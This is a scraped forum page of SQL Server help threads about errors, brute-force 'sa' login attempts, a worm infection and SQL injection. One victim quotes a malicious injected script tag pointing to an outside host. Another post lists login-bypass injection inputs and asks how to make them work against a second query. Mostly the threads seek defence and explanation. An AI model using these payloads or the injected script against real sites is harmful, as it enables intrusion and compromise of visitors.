SQL SERVER 2005 Unknown Attack

Dec 27, 2006

Hello Every one,



can any one please let me know what is below mentioned errors i found on my newly installed sql server and also let me know severiarity of this and if you know the solution for this i would wel come all your suggestion.



12/24/2006 05:48:47,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:45,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:45,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:44,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:44,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:41,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:41,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:40,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:40,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:39,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:39,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:35,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:35,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:34,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:34,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:33,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:33,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:32,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:32,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:31,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:31,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:30,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:30,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:29,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:29,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:28,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:28,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,
12/24/2006 05:48:27,Logon,Unknown,Login failed for user 'sa'. [CLIENT: 204.10.60.17],
12/24/2006 05:48:27,Logon,Unknown,Error: 18456<c/> Severity: 14<c/> State: 8.,

since last so many days i found that these kind of errors on sql server 2005.It occurs contineously so it keeps server busy all the time.

I have attached a portion of this error log.Thanks for all your help and the time you took to look at my question.



Thanks,

Bharat.

View 1 Replies


ADVERTISEMENT

SQL Server Attack ???

May 15, 2008

Hi Recently we moved our site from Access to MS SQL Server 2005 Express on a dedicated server. Guess what.... we came under some attack (may be SQL injection). Our database was manipulated and data's in some field were replaced by "<script src=http://9i5t.cn/a.js></script>" We don't know how it was done .. then i googled around to find any clue . too my surprise i found around 30,000 sites which were affected by this / have a look http://www.google.com/search?hl=en&q=%22http%3A%2F%2F9i5t.cn%2Fa.js%22&btnG=SearchAnd also an interest fact popped up also sites where in ASP But unfortunately no documentation was available for it ... So i wonder if their is any flaw in coding or database permission .. 30,000 webmaster can't go wrong. May be their is security flaw either in SQL Server 2005 or ASP .. can't say As of now i have cleared my database using find and replace function. But i know we might me soon be under attack again Please help me out find out exact reason for it .. Thanks in advanceSuraj jain 

View 3 Replies View Related

Unknown Members In Report Parameter Causes CONSTRAINED Flag Error In STRTOSET Function When NullProcessing Unknown Member

May 1, 2007

Hi,



I'm using MS Report Designer 2005 and have created a report that uses a cube, with a dimension set up to convert null values to unknown (nullProcessing = UnknownMember).



When I create a parameter using the checkbox in the graphical design mode's filter pane, Report Designer automatically sets the constrained flag, eg:

STRTOMEMBER(@DimOrganisationBUSADDRSTATE, CONSTRAINED).



When running the report and selecting the 'Unkown' value from the parameter list, the error 'the restrictions imposed by the CONSTRAINED flag in the STRTOSET function were violated' occurrs.



How can I prevent the constrained flag from being used, or am I doing something wrong with converting null values to 'Unknown'?



Thanks



View 10 Replies View Related

Drop Tables With Unknown Names And Unknown Quantity

Jul 20, 2005

This is what I want to do:1. Delete all tables in database with table names that ends with anumber.2. Leave all other tables in tact.3. Table names are unknown.4. Numbers attached to table names are unknown.5. Unknown number of tables in database.For example:(Tables in database)AccountAccount1Account2BinderBinder1Binder2Binder3.......I want to delete all the tables in the database with the exceptionof Account and Binder.I know that there are no wildcards in the "Drop Table tablename"syntax. Does anyone have any suggestions on how to write this sqlstatement?Note: I am executing this statement in MS Access with the"DoCmd.RunSQL sql_statement" command.Thanks for any help!

View 2 Replies View Related

I Have An Attack Of Sqlslammer.worm On My DB Server (sql Server 2000)

Nov 3, 2007



Hi all,

I have a case of sqlslammer.worm virus on my DB server. I have run Mcafee antivirus software but the virus cannot be removed.

Please can anyone tell me how to getit off my server?

Leonard

View 5 Replies View Related

NEED HELP!!! Unknown Error In SQL 2005 Express Toolkit

Mar 7, 2007

I am encountering this error when tried to execute a simple select statement against the Enterprise Edition SQL 2000 and SQl2005

An error occurred while executing batch. Error message is: Unknown error "-1".

 Please advise what is the cause of this.

Thanks.

View 13 Replies View Related

What Is An SQL INJECTION Attack?

May 8, 2008

Hi,
        I need to find out what sql injection attack is, what it does how it is done and how to protect form it....Any through explanation will be much appreciated.
Thanks
Kabir

View 2 Replies View Related

Sql Injection Attack

Aug 18, 2006

hi,
Hope everybody is fine.Well,today I want to know the smartest ways to prevent sql injection attacks.It would be really helpful if anybody gives light to it.
Thanks!!

View 8 Replies View Related

SQL Injection Attack

Jul 23, 2005

All,I am trying to test an attack against a web page. The VBScript runs 2queries against the database; the first must succeed before the secondruns. Here is the code:1st-select * from users where (userid=' + @string + ') and password=' +@pwdstring + '2nd-select * from permissions where userid=' + @string + 'When attempting the attack the problem lies in the "(" & ")"surrounding the first userid string in the 1st query. if I attempt toput a ")" in the original @string function to cancel out the first "("it then causes problems for the second string. Also, the @pwdstringgets encrypted before it is sent to the SQL Server, so attempting theattack from that field is useless.For instance:@string = ' or 1=1)--@pwdstring = blank (becomes @pwdstring = 55-12-567-3244-123 due toencryption)select * from users where (userid='' or 1=1)--') andpassword='55-12-567-3244-123' WORKS OKselect * from permissions where userid='' or 1=1)--' DOES NOT WORKIs this an instance where the original developers made a happy codingerror (I asked and preventing injection attacks wasn't intended) or isthere something I can do to circumvent this?Thanks,josh

View 7 Replies View Related

Brute Force Attack

Oct 22, 2007

Hi to all,

Im looking at the sql server log, and I see a strange behavior.
Im getting at least 5 "sa" login attempts from an sepcific IP address.
How can I avoid this, lock that IP or add a delay to 'sa' failed logins?

Thanks so much

Cristian

View 10 Replies View Related

Brute Force Password Attack

Nov 3, 2005

In the Application event log I am seeing entries like the
following:

Login failed for user 'sa'. [CLIENT: 60.32.67.85]

Once
every second.

I am assuming this is a brute force password attack, an
ARIN query of the IP address indicates it's from:
Asia Pacific Network Information CentreIs there any way to block this IP from accessing my server?Thanks,Tylerp.s. I tried posting this on MSDN forums, but the site appears to be broken.

View 1 Replies View Related

Injection Attack - Guru Needed.

Jan 19, 2007

Hello all,

I have a question on whether the following stored precedure would be open to an SQL Injection attack. Assume that a string query would be passed to the SP.

I am told that because the password parameter is only varchar(8) that it is safe.

Can someone prove this wrong?

Thanks....

I have added sample code below.

CREATE TABLE [dbo].[JB_Test](
[Name] [varchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Name] DEFAULT (''),
[Email] [varchar](100) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Email] DEFAULT (''),
[Password] [varchar](8) COLLATE SQL_Latin1_General_CP1_CI_AS NOT NULL CONSTRAINT [DF_JB_Test_Password] DEFAULT (''),

) ON [PRIMARY]
GO

Insert dbo.JB_Test (Name, Email, Password )
values ('John', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Paul', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Geroge', 'asdf@asdf.com', '2345')
Insert dbo.JB_Test (Name, Email, Password )
values ('Ringo', 'asdf@asdf.com', '2345')

GO

Create procedure dbo.JB_Test_Login

@Username varchar(100),
@Password varchar(8)

AS

select Name
from dbo.JB_Test
where Name = @Username
and Password = @Password
GO


--Clean Up Your Mess
--Drop procedure dbo.JB_Test_Login
--GO

--Drop Table dbo.JB_Test
--GO


JBelthoff
• Hosts Station is a Professional Asp Hosting Provider
• Position SEO can provide your company with SEO Services at an affordable price
› As far as myself... I do this for fun!

View 20 Replies View Related

The Ads With The Sound Effects Might Give Me A Heart Attack

Feb 16, 2005

I like this forum but recently I have noticed they are running ads with sound effects.

I like a lot of programmers I know listen to music through their computer with headphones on all day. Whenever one of those adds fire off it about scares the BeJesus of me and comes through louder than the music. I am playing with my settings but I each time I find one that kills the sound effects it kills the music too.

Starting to make me mad.

View 3 Replies View Related

[Microsoft][ODBC SQL Server Driver]Unknown

May 25, 2001

Hi, I am getting this message, anyone knows what could be the reason for this. My connection to the sql server is out too.


[Microsoft][ODBC SQL Server Driver]Unknown token received from SQL Server

Thanks

Ali

View 1 Replies View Related

Faced Unknown Problems On SQL Server (Urgent)

Sep 7, 2006

Hi all,

I'm facing some unknown errors occured in SQL server. SQL server prompt out the errors and I'm aware when are those errors occur.

Server displayed the sentences as below which I do not have any idea with its.


1) xpstar.dll to execute extended stored procedure 'xp_MSADEnabled'
2) xpsqlbot.dll to execute extended stored procedure 'xp_qv'


Anyone has any idea on how to solve those problem or any idea how is it caused?

I'm very appreciate for any reply and thank you for helping!!

View 4 Replies View Related

SQL Server 2012 :: Update Temp Table Where The Column Names Are Unknown

Dec 26, 2013

In a stored procedure I dynamically create a temp table by selecting the name of Applications from a regular table. Then I add a date column and add the last 12 months. See attachment.

So far so good. Now I want to update the data in columns by querying another regular table. Normally it would be something like:

UPDATE ##TempTable
SET [columName] = (SELECT SUM(columName)
FROM RegularTable
WHERE FORMAT(RegularTable.Date,'MM/yyyy') = FORMAT(##TempMonths.x,'MM/yyyy'))

However, since I don't know what the name of the columns are at any given time, I need to do this dynamically.

how can I get the column names of a Temp table dynamically while doing an Update?

View 4 Replies View Related

SQL Server 2008 :: Unknown Error Messages During Generate Script From Database

Mar 23, 2009

I have a SQL2008 database, running Standard Edition 64-bit, database owns by sa, connected to Management Studio using Windows Authentication mode. When I tried to generate scripts from a database, I got the following error messages:-

[Operation is not valid due to the current state of the object. (SqlManagerUI)]

which happened at one particular table. I have reviewed this table definitions are normal, and I could select data from it.

I couldn't find any information anywhere relating to this error messages, except that someone got it when they were trying to change the authentication mode or sa password.

View 5 Replies View Related

Setup And Upgrade :: Enabling FILESTREAM Server - Unknown Error Applying Settings

Apr 14, 2013

I'm trying to activate FILESTREAM on my SQL Server 2012, however i'm not accomplishing it. I've tried to follow this instructions: [URL] ...

My SETUP is the following:

Windows 8 (64 bit)SQL Server Standard Edition - Service Pack 1 (64 bit)SQL Version: (11.0.3128.0)

When I go to the configuration manager, on the FILESTREAM tab has a message:

"A previous FILESTREAM configuration attempt was incomplete.

FILESTREAM may be in an inconsistent state until re-configured."

If I click Enable FILESTREAM and "Apply", I get the following message:

"There was an unknown error applying the FILESTREAM settings. Check the parameters are valid. (0x80070002)"

I also read somewhere to run "EXEC sp_configure", which produces the result:

"filestream access level - 0 2 2 0"

Running "SELECT SERVERPROPERTY ('FilestreamEffectiveLevel');" returns 0.

View 2 Replies View Related

SQL Server 2008 :: How To Pivot Unknown Number Of Rows To Columns Using Data As Column Headers

Sep 10, 2015

I have a single table that consist of 4 columns. Entity, ParamName, ParamsValue and ParamiValue. This table stores normalized Late Fee related parameters for apartments. The Entity field contains a code that identifies the apartment complex. The ParamName in a textual field that contains the name of the parameter that the other 2 fields define the value for; ParamsValue and ParamiValue. If the Late Fee parameter (as named in ParamName is something numerical then the value for that parameter can be found in ParamiValue else its in ParamsValue.

I don't know if 'Pivot' is the correct term to use for describing what I am trying to do because I've looked at the Pivot examples and I don't see how that will work for this. Using the Table and data as provided below, how would I construct a query so that I get 1 row per Entity in which the columns are the ParamsValue or ParamiValue for the ParamName listed in the column header (for the query)?

Below is the DDL to create the table and populate it.

USE [DBA_UTIL]
CREATE TABLE [dbo].[PARAMEXAMPLE](
[Entity] [varchar](16) NULL,

[Code]....

View 4 Replies View Related

Unknown Column Name?

Jan 17, 2008

Hello,
I need to perform an update to one of my columns in my gridView.  Is it possible to pass in the "column name" during runtime as a parameter to a stored procedure.  I tried doing that but it doesn't seem to work?  I might be doing something wrong of course. 
Can anyone give me some advice on how to do this?

View 9 Replies View Related

Unknown Exceptions

Jan 22, 2008

I'm sure that the try part of following code are all executedand the session("isLogin") has set to Truebut it always catch a exceptionand redirect to error1.aspx can't figure it out 1 Try
2 mySqlCon = New SqlConnection(strMySqlCon)
3 mySqlCmd = New SqlCommand(strMySqlCmd, mySqlCon)
4
5 mySqlCon.Open()
6 myDataReader = mySqlCmd.ExecuteReader()
7
8 If myDataReader.Read() = True Then
9
10
11 webPwdMd5 = System.Web.Security.FormsAuthentication. _
12 HashPasswordForStoringInConfigFile(Me.TextBox1.Text, "MD5")
13
14 If webPwdMd5 = myDataReader.Item("password") Then
15 Session("isLogin") = True
16 'Me.TextBox1.Text = "ppp"
17 Response.Redirect("main.aspx")
18 Else
19 Session("islogin") = False
20 Me.Label1.Visible = True
21 End If
22 Else
23 Session("isLogin") = False
24 Me.Label1.Visible = True
25 End If
26
27 mySqlCon.Close()
28
29 Catch Myexception As Exception
30 Session("isLogin") = False
31 Response.Redirect("error1.aspx")
32
33 Finally
34
35 End Try
 

View 2 Replies View Related

Unknown - \ - MSSQLServer

Jan 2, 2004

The Microsoft SQL Server icon is showing on my task bar but with a white (blank) circle "stamped" over the bottom right of the icon.

To me it seems that the implication is that somehow the server is not being recognized as (local)etSDK.

Resting the mouse arrow on the Server icon displays: unknown - \ - MSSQLServer

Needless to say something is quite wrong and I cannot open nor create ANY DATA while on WebMatrix.

If I right-click on the server icon and select "Start" I get the following error: "Invalid handle" which apparently is error number 6.

Previously, after many try-outs I managed to at least put the server icon on the task bar by making use of a setup.ini file that reads as shown below (and then typing from the MSDE sub directory while in MSDOS "setup.exe").

[Options]
INSTANCENAME=CADComputing
SECURITYMODE=SQL
SAPWD=myPassword539

Is there a way out of this mess?????

View 1 Replies View Related

Unknown .mdf And .ldf File??????

Jul 7, 2000

Hello!!!

I have installed sql 7.0 with sp1. when I check the files I saw to more file extra i.e. distmdl.mdf and distmdl.ldf along with system and pubs and northwind database files.

Can any one tell me what are these(distmdl.mdf and distmdl.ldf ) files.
Thank you!!!!!

Dindu

View 1 Replies View Related

Unknown Error

Jun 16, 2008

protected void Button4_Click(object sender, EventArgs e)
{
string selectedItem = DropDownList1.SelectedItem.Text;
if (selectedItem == "zezo")
{


string connectionString2 = ConfigurationManager.ConnectionStrings["ConnectionString"].ConnectionString;
SqlConnection connection2 = new SqlConnection(connectionString2);
connection2.Open();
SqlCommand command2 = new SqlCommand("finde", connection2);
command2.CommandType = CommandType.StoredProcedure;
command2.Parameters.Add("@columen_name", SqlDbType.NVarChar).Value = "taher";
command2.ExecuteNonQuery();
}

and this is the stored procedure

ALTER PROCEDURE dbo.finde @columen_name nvarchar(50)
/*
(
@parameter1 int = 5,
@parameter2 datatype OUTPUT
)
*/
AS
declare
@maxcount int,@sql varchar(8000)
set @maxcount=(select max(taher)+1 from counter)

set @sql='insert into counter (' + @columen_name +')
values ( @maxcount )'
exec (@sql)

************************
and this is the error

Server Error in '/NTSOLUTIONS' Application.
--------------------------------------------------------------------------------

Must declare the scalar variable "@maxcount".
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Must declare the scalar variable "@maxcount".

Source Error:


*********************************************
so i can not find where is the exact point

zezo

View 12 Replies View Related

NULL Vs. Unknown Value

Jul 20, 2005

I'm running into a situation that has me adding a value of "Unknown" toa reference table. I am being pulled between two trains of thought, andwas curious to get other's input on in. I give an example below.1-) Adding "Unknown" to a reference table is bad. Doing so effectivelychanges the Nullability option of every FK that references the table toa NULLable FK relation.2-) Simply adding a "Not Known/Undetermined" value to the referencetable greatly simplifies things. No schema changes are required, andprograms that use the reference table to populate their drop-downs willautomatically see the new value.Perhaps both approaches are good, but it would all depend of thecontext, the criticality of other FKs that reference the table, how/whenthe data is being used?==============================================EXAMPLE==============================================Assume two tables. Employee & EyeColor, as described below.+===================================+|Employee |+----------------+------------------+|EmployeeId(PK) | EyeColorId (FK) ||NOT NULL | NOT NULL |+----------------+------------------+|marc | 1 ||dan | 2 ||sonya | 1 |+================+==================++================================================= ===+|EyeColor |+---------------+------------------+-----------------+|EyeColorId(PK) | EnglishName(AK1) | FrenchName(AK2) ||NOT NULL | NOT NULL | NOT NULL |+---------------+------------------+-----------------+| 1 | Brown | Brun || 2 | Bloodshot | Rouge || 3 | Blue | Bleue |+===============+==================+============== ===+And let's say that an automated process is being built to import EyeColors from central database. In this process EyeColor may no longer beavailable.With solution #1, new (or existing) data is changed as follows:+----------------+------------------+|EmployeeId(PK) | EyeColorId (FK) ||NOT NULL | NULL |+----------------+------------------+|marc | 1 ||dan | 2 ||sonya | 1 ||newemp | NULL |+================+==================++================================================= ===+|EyeColor |+---------------+------------------+-----------------+|EyeColorId(PK) | EnglishName(AK1) | FrenchName(AK2) ||NOT NULL | NOT NULL | NOT NULL |+---------------+------------------+-----------------+| 1 | Brown | Brun || 2 | Bloodshot | Rouge || 3 | Blue | Bleue |+===============+==================+============== ===+With solution #2, new (or existing) data is changed as follows:+----------------+------------------+|EmployeeId(PK) | EyeColorId (FK) ||NOT NULL | NULL |+----------------+------------------+|marc | 1 ||dan | 2 ||sonya | 1 ||newemp | 0 |+================+==================++================================================= ===+|EyeColor |+---------------+------------------+-----------------+|EyeColorId(PK) | EnglishName(AK1) | FrenchName(AK2) ||NOT NULL | NOT NULL | NOT NULL |+---------------+------------------+-----------------+| 0 | Unknown | Inconnu || 1 | Brown | Brun || 2 | Bloodshot | Rouge || 3 | Blue | Bleue |+===============+==================+============== ===+*** Sent via Developersdex http://www.developersdex.com ***Don't just participate in USENET...get rewarded for it!

View 3 Replies View Related

Unknown Parametrs

Dec 25, 2007

why in a adomd connection these items are unknown

AdomdConnection,
connection,
MiningService,
and in the amo connection these itmes are unknown:

server.Connect,

MiningStructure,
miningmodel,

MiningModelAlgorithms

View 1 Replies View Related

'The Return Value Was Unknown'

Aug 23, 2006

When I try to run my package from SQL Server Agent I get the following errormessage:

Message
Executed as user: NT AUTHORITYNETWORK SERVICE. The return value was unknown. The process exit code was -532459699. The step failed.

It has nothing to do with security in any way: The package actually succeeds!! (no onErrorEvent is thrown, no Error or whatsoever is logged). The only logging I get is this:

#Fields: event,computer,operator,source,sourceid,executionid,starttime,endtime,datacode,databytes,message
PackageStart,KMAUSQL01SRV,NT AUTHORITYNETWORK SERVICE,Test,{3790FAE9-8300-4374-B2B7-6A630A508ED9},{E15D1815-1123-42D5-9D32-75B0237660A3},23.08.2006 17:18:02,23.08.2006 17:18:02,0,0x,Beginning of package execution.

PackageEnd,KMAUSQL01SRV,NT AUTHORITYNETWORK SERVICE,Test,{3790FAE9-8300-4374-B2B7-6A630A508ED9},{E15D1815-1123-42D5-9D32-75B0237660A3},23.08.2006 17:18:24,23.08.2006 17:18:24,0,0x,End of package execution.





PackageStart -> PackageEnd .... And in Fact the package DOES exactly do what it should! Just that it throws this error anyway!



What can I do to even trace down where the error occurs?? Not to mention fix it?

View 5 Replies View Related

Unknown Network Failure

Nov 15, 2007

Hello All!!!
 I have a 1.1 asp.net applications that has been in production for a little over a year. It is remoted from a webserver --> application server --> that access data server.  I am using win2003 servers and sql 2000.  Recently, the application has been having an issue retrieving and storing documents to the sql server.  When diagnosing the problem I have ran communication testing to make sure the servers are communicating as they should, I have ran the stored procedure to test for retrieval times and/or failure. So far everything has checked out.  While researching the issue, I ran across information that suggested changing from the SQLClient provider to the OLEDB provider.  All the changes I have tried appear to have no affect.
 I will mention that this does seem to occur only when retrieving larger files(probably a communication issue which I have my communications staff looking into).  Has anyone experienced this issue and maybe know of any possible solutions? 
 Thanks in advance

View 5 Replies View Related

Unknown Status: SPINLOOP

Feb 15, 2002

While running an sp_who2, I noticed a status of 'SPINLOOP'. I've never seen this before. Normally I see sleeping, RUNNABLE, and sometimes ROLLBACK.

Has anyone seen this before and/or have any idea what it means.
Sidney Ives
Database Administrator
Sentara Healthcare

View 1 Replies View Related

Sum Up An Unknown Number Of Records

Mar 19, 2007

With this algorithm you can sum up an unkown number of records, so that an aggregation matches a fixed value.
If there is not an exakt match available, the algorithm returns the nearest possible value!-- Initialize the search parameter
DECLARE@WantedValue INT

SET@WantedValue = 349

-- Stage the source data
DECLARE@Data TABLE
(
RecID INT IDENTITY(1, 1) PRIMARY KEY CLUSTERED,
MaxItems INT,
CurrentItems INT DEFAULT 0,
FaceValue INT,
BestUnder INT DEFAULT 0,
BestOver INT DEFAULT 1
)

-- Aggregate the source data
INSERT@Data
(
MaxItems,
FaceValue
)
SELECTCOUNT(*),
Qty
FROM(
SELECT 899 AS Qty UNION ALL
SELECT 100 UNION ALL
SELECT 95 UNION ALL
SELECT 50 UNION ALL
SELECT 55 UNION ALL
SELECT 40 UNION ALL
SELECT 5 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 50 UNION ALL
SELECT 250 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 90 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 50 UNION ALL
SELECT 350 UNION ALL
SELECT 450 UNION ALL
SELECT 450 UNION ALL
SELECT 100 UNION ALL
SELECT 100 UNION ALL
SELECT 50 UNION ALL
SELECT 50 UNION ALL
SELECT 50 UNION ALL
SELECT 1 UNION ALL
SELECT 10 UNION ALL
SELECT 1
) AS d
GROUP BYQty
ORDER BYQty DESC

-- Declare some control variables
DECLARE@CurrentSum INT,
@BestUnder INT,
@BestOver INT,
@RecID INT

-- If productsum is less than or equal to the wanted sum, select all items!
IF (SELECT SUM(MaxItems * FaceValue) FROM @Data) <= @WantedValue
BEGIN
SELECTMaxItems AS Items,
FaceValue
FROM@Data

RETURN
END

-- Delete all unworkable FaceValues
DELETE
FROM@Data
WHEREFaceValue > (SELECT MIN(FaceValue) FROM @Data WHERE FaceValue >= @WantedValue)

-- Update MaxItems to a proper value
UPDATE@Data
SETMaxItems =CASE
WHEN 1 + (@WantedValue - 1) / FaceValue < MaxItems THEN 1 + (@WantedValue - 1) / FaceValue
ELSE MaxItems
END

-- Update BestOver to a proper value
UPDATE@Data
SETBestOver = MaxItems

-- Initialize the control mechanism
SELECT@RecID = MIN(RecID),
@BestUnder = 0,
@BestOver = SUM(BestOver * FaceValue)
FROM@Data

-- Do the loop!
WHILE @RecID IS NOT NULL
BEGIN
-- Reset all "bits" not incremented
UPDATE@Data
SETCurrentItems = 0
WHERERecID < @RecID

-- Increment the current "bit"
UPDATE@Data
SETCurrentItems = CurrentItems + 1
WHERERecID = @RecID

-- Get the current sum
SELECT@CurrentSum = SUM(CurrentItems * FaceValue)
FROM@Data
WHERECurrentItems > 0

-- Stop here if the current sum is equal to the sum we want
IF @CurrentSum = @WantedValue
BREAK
ELSE
-- Update the current BestUnder if previous BestUnder is less
IF @CurrentSum > @BestUnder AND @CurrentSum < @WantedValue
BEGIN
UPDATE@Data
SETBestUnder = CurrentItems

SET@BestUnder = @CurrentSum
END
ELSE
-- Update the current BestOver if previous BestOver is more
IF @CurrentSum > @WantedValue AND @CurrentSum < @BestOver
BEGIN
UPDATE@Data
SETBestOver = CurrentItems

SET@BestOver = @CurrentSum
END

-- Find the next proper "bit" to increment
SELECT@RecID = MIN(RecID)
FROM@Data
WHERECurrentItems < MaxItems
END

-- Now we have to investigate which type of sum to return
IF @RecID IS NULL
IF @WantedValue - @BestUnder < @BestOver - @WantedValue
-- If BestUnder is closer to the sum we want, choose that
SELECTBestUnder AS Items,
FaceValue
FROM@Data
WHEREBestUnder > 0
ELSE
-- If BestOver is closer to the sum we want, choose that
SELECTBestOver AS Items,
FaceValue
FROM@Data
WHEREBestOver > 0
ELSE
-- We have an exact match
SELECTCurrentItems AS Items,
FaceValue
FROM@Data
WHERECurrentItems > 0With references to
http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=73540
http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=73610
http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=78015
http://www.sqlteam.com/forums/topic.asp?TOPIC_ID=79505


Peter Larsson
Helsingborg, Sweden

View 3 Replies View Related

IF..ELSE In Function - Unknown Error

Jul 23, 2005

Hi all,I have the below user-defined function on mssql 2000 and I can't workout why i'm getting the following error:-----Server: Msg 156, Level 15, State 1, ProcedurefnCalculateOutworkerPaymentForBox, Line 15Incorrect syntax near the keyword 'IF'.Server: Msg 170, Level 15, State 1, ProcedurefnCalculateOutworkerPaymentForBox, Line 23Line 23: Incorrect syntax near ')'.----------CREATE FUNCTION fnCalculateOutworkerPaymentForBox(@boxid int)RETURNS moneyASBEGINRETURN (/* if the box is a paperback */IF (SELECT COUNT(BoxID) AS NoOfBoxes FROM OutworkerBoxes WHERE BoxID= @boxid AND BoxCode LIKE '%PAPER%') > 1/* If the books are paperback, charge 15p each and add on 30p for adescription book to make 45p */SELECT ((endref - StartRef) * 0.15) + (NoOfDescriptionBooks * 0.30)FROM OutworkerBoxes WHERE BoxID = @boxidELSE/* If the books are normal, charge 25p each and add 20p on fordescription books to make 45p */SELECT ((endref - StartRef) * 0.25) + (NoOfDescriptionBooks * 0.20)FROM OutworkerBoxes WHERE BoxID = @boxid)END-----Below is the sql for the table it works with:-----CREATE TABLE [OutworkerBoxes] ([BoxID] [int] IDENTITY (1, 1) NOT NULL ,[OutworkerID] [int] NOT NULL ,[ImportedBy] [int] NULL ,[StartRef] [int] NOT NULL ,[endref] [int] NOT NULL ,[DateIssued] [datetime] NOT NULL ,[BoxCode] [nvarchar] (50) COLLATE Latin1_General_CI_AS NOT NULL ,[DealerID] [int] NULL ,[StatusID] [int] NOT NULL ,[IssuedBy] [int] NOT NULL ,[BoxNotes] [nvarchar] (200) COLLATE Latin1_General_CI_AS NULL ,[DateImported] [datetime] NULL ,[NoOfDescriptionBooks] [int] NOT NULL CONSTRAINT[DF_OutworkerBoxes_NoOfDescriptionBooks] DEFAULT (0),CONSTRAINT [PK_OutworkerBoxes] PRIMARY KEY CLUSTERED([BoxID]) WITH FILLFACTOR = 90 ON [PRIMARY]) ON [PRIMARY]GO-----If anyone can advise me i'd be most grateful.Thanx in advanceJames

View 2 Replies View Related

Unknown Token Received

Jul 20, 2005

